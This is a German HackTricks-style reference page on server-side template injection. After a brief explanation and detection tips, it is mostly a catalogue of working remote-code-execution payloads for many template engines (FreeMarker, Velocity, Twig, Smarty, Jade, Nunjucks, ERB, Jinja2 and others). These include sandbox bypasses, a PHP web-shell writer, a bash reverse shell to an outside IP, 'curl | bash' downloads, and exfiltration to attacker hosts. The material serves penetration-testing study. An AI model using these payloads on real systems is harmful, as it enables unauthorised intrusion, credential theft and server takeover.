SSTI (Server Side Template Injection)

Reading time: 31 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Was ist SSTI (Server-Side Template Injection)

Server-side template injection ist eine Schwachstelle, die auftritt, wenn ein Angreifer bösartigen Code in ein Template injizieren kann, das auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien auftreten, einschließlich Jinja.

Jinja ist eine weit verbreitete Template-Engine, die in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen verwundbaren Codeausschnitt mit Jinja zeigt:

python
output = template.render(name=request.args.get('name'))

In diesem verwundbaren Code wird der name-Parameter aus der Anfrage des Nutzers direkt mittels der render-Funktion in das Template eingebracht. Das kann einem attacker erlauben, bösartigen Code in den name-Parameter einzuschleusen, was zu server-side template injection führen kann.

Zum Beispiel könnte ein attacker eine Anfrage mit einer payload wie dieser konstruieren:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Die Nutzlast {{bad-stuff-here}} wird in den Parameter name injiziert. Diese Nutzlast kann Jinja template directives enthalten, die einem Angreifer erlauben, unautorisierte Ausführung von Code zu erzwingen oder die Template-Engine zu manipulieren und damit möglicherweise Kontrolle über den Server zu erlangen.

Um server-side template injection vulnerabilities zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben korrekt bereinigt (sanitized) und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von input validation und der Einsatz von context-aware escaping techniques können helfen, das Risiko dieser Schwachstelle zu verringern.

Erkennung

Um Server-Side Template Injection (SSTI) zu erkennen, ist anfänglich fuzzing the template ein unkomplizierter Ansatz. Dabei wird eine Sequenz spezieller Zeichen (${{<%[%'"}}%\) in das Template injiziert und die Unterschiede in der Serverantwort im Vergleich zu regulären Daten analysiert. Hinweise auf eine Verwundbarkeit sind unter anderem:

  • Ausgelöste Fehlermeldungen, die die Verwundbarkeit und möglicherweise die Template-Engine offenbaren.
  • Das Fehlen der payload in der Reflexion oder fehlende Teile davon, was darauf hindeutet, dass der Server sie anders verarbeitet als normale Daten.
  • Plaintext Context: Abgrenzung zu XSS, indem geprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. {{7*7}}, ${7*7}).
  • Code Context: Bestätigung der Verwundbarkeit durch Veränderung von Eingabeparametern. Beispiel: Ändern von greeting in http://vulnerable-website.com/?greeting=data.username, um zu prüfen, ob die Serverausgabe dynamisch ist oder fest bleibt — z. B. greeting=data.username}}hello, das den Benutzernamen zurückliefert.

Identifikationsphase

Die Identifikation der Template-Engine erfolgt durch Analyse von Fehlermeldungen oder durch manuelles Testen verschiedener sprachspezifischer payloads. Häufige payloads, die Fehler verursachen, sind ${7/0}, {{7/0}} und <%= 7/0 %>. Die Beobachtung der Serverantwort auf mathematische Operationen hilft, die konkrete Template-Engine einzugrenzen.

Identification by payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Tools

TInjA

ein effizienter SSTI + CSTI scanner, der neuartige polyglots nutzt

bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

eine interaktive Tabelle, die die effizientesten template injection polyglots sowie die erwarteten Antworten der 44 wichtigsten template engines enthält.

Exploits

Allgemein

In dieser wordlist findest du in den Umgebungen einiger der unten genannten Engines definierte Variablen:

Java

Java - Basic injection

java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Die Umgebungsvariablen des Systems abrufen

java
${T(java.lang.System).getenv()}

Java - /etc/passwd abrufen

java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Du kannst deine payloads unter https://try.freemarker.apache.org ausprobieren

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ funktioniert nur bei Freemarker-Versionen unter 2.3.30

java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Weitere Informationen

Velocity (Java)

java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Weitere Informationen

Thymeleaf

In Thymeleaf ist ein gängiger Test für SSTI-Schwachstellen der Ausdruck ${7*7}, der auch für diese Template-Engine gilt. Für mögliche remote code execution können Ausdrücke wie die folgenden verwendet werden:

  • SpringEL:
java
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf verlangt, dass diese Ausdrücke innerhalb bestimmter Attribute platziert werden. Allerdings wird expression inlining für andere Template-Orte unterstützt, wobei Syntax wie [[...]] oder [(...)] verwendet wird. Daher könnte ein einfacher SSTI-Test-Payload wie [[${7*7}]] aussehen.

Die Wahrscheinlichkeit, dass dieser Payload funktioniert, ist jedoch generell gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Erzeugung; templates müssen vordefiniert sein. Entwickler müssten ihren eigenen TemplateResolver implementieren, um Templates zur Laufzeit aus Strings zu erstellen, was unüblich ist.

Thymeleaf bietet außerdem expression preprocessing an, wobei Ausdrücke innerhalb doppelter Unterstriche (__...__) vorverarbeitet werden. Dieses Feature kann beim Aufbau von Ausdrücken genutzt werden, wie in der Thymeleaf-Dokumentation gezeigt:

java
#{selection.__${sel.code}__}

Beispiel einer Schwachstelle in Thymeleaf

Betrachten Sie den folgenden Codeausschnitt, der für eine Ausnutzung anfällig sein könnte:

xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Das deutet darauf hin, dass eine fehlerhafte Verarbeitung dieser Eingaben durch die template engine zu remote code execution führen kann, die auf URLs wie die folgende zugreift:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Weitere Informationen

EL - Expression Language

Spring Framework (Java)

java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Filter umgehen

Mehrere Variablen-Ausdrücke können verwendet werden; wenn ${...} nicht funktioniert, versuche #{...}, *{...}, @{...} oder ~{...}.

  • Lese /etc/passwd
java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Benutzerdefiniertes Skript zur Payload-Generierung
python
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Weitere Informationen

Spring View Manipulation (Java)

java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Ältere Version von Pebble (< Version 3.0.9):

java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Neue Version von Pebble :

java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava ist ein Open-Source-Projekt, entwickelt von Hubspot, verfügbar unter https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Behoben durch https://github.com/HubSpot/jinjava/pull/230

java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Weitere Informationen

Hubspot - HuBL (Java)

  • {% %} Anweisungs-Trennzeichen
  • {{ }} Ausdrucks-Trennzeichen
  • {# #} Kommentar-Trennzeichen
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Suchen Sie nach "com.hubspot.content.hubl.context.TemplateContextRequest" und finden das Jinjava project on Github.

java
{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Weitere Informationen

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) ist ein grundlegendes Feature, das die Interaktion zwischen der Präsentationsschicht (z. B. Webpages) und der Anwendungslogik (z. B. managed beans) in JavaEE erleichtert. Es wird umfassend in mehreren JavaEE-Technologien eingesetzt, um diese Kommunikation zu vereinfachen. Zu den wichtigsten JavaEE-Technologien, die EL nutzen, gehören:

  • JavaServer Faces (JSF): Verwendet EL, um Komponenten in JSF-Seiten an die entsprechenden Backend-Daten und -Aktionen zu binden.
  • JavaServer Pages (JSP): EL wird in JSP eingesetzt, um innerhalb von JSP-Seiten auf Daten zuzugreifen und diese zu manipulieren, wodurch die Verbindung von Seitenelementen mit den Anwendungsdaten erleichtert wird.
  • Contexts and Dependency Injection for Java EE (CDI): EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Webschicht und managed beans zu ermöglichen und so eine kohärentere Anwendungsstruktur zu schaffen.

Siehe die folgende Seite, um mehr über die Ausnutzung von EL-Interpretern zu erfahren:

EL - Expression Language

Groovy (Java)

Die folgenden Security Manager-Bypässe wurden aus diesem writeup entnommen.

java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Andere Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Weitere Informationen

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Vorlagenformat

php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Mehr Informationen

Plates (PHP)

Plates ist eine Templating-Engine, die nativ in PHP liegt und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates jedoch nativen PHP‑Code in Templates, was es für PHP‑Entwickler intuitiv macht.

Controller:

php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Seitenvorlage:

php
<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Layout-Vorlage:

html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Weitere Informationen

PHPlib und HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB ist dasselbe wie PHPlib, jedoch auf Pear portiert.

authors.tpl

html
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Weitere Informationen

Andere PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Weitere Informationen

patTemplate (PHP)

patTemplate nicht-kompilierende PHP-Templating-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu gliedern.

xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Weitere Informationen

Handlebars (NodeJS)

Path Traversal (mehr Infos here).

bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Fehler
  • ${7*7} = ${7*7}
  • Nichts
java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Weitere Informationen

JsRender (NodeJS)

TemplateBeschreibung
Auswerten und Ausgabe rendern
Auswerten und HTML-kodierte Ausgabe rendern
Kommentar
andCode erlauben (standardmäßig deaktiviert)
  • = 49

Client-Seite

python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Serverseitig

bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Weitere Informationen

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Beispiel für serverseitiges Rendering

javascript
var pugjs = require("pug")
home = pugjs.render(injected_page)

Weitere Informationen

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Keine Ausgabe
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Fehler
javascript
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Weitere Informationen

Weitere NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Weitere Informationen

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Weitere Informationen

Andere Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Siehe die folgende Seite, um Tricks zu arbitrary command execution bypassing sandboxes in python zu lernen:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
python
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Weitere Informationen

Jinja2 (Python)

Official website

Jinja2 ist eine umfangreiche Template-Engine für Python. Sie bietet vollständige Unicode-Unterstützung, eine optionale, integrierte, isolierte Ausführungsumgebung, ist weit verbreitet und unter BSD lizenziert.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
python
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Vorlagenformat

python
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE nicht abhängig von __builtins__:

python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Mehr Details dazu, wie man Jinja ausnutzen kann:

Jinja2 SSTI

Weitere payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

python
<%
import os
x=os.popen('id').read()
%>
${x}

Weitere Informationen

Weitere Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
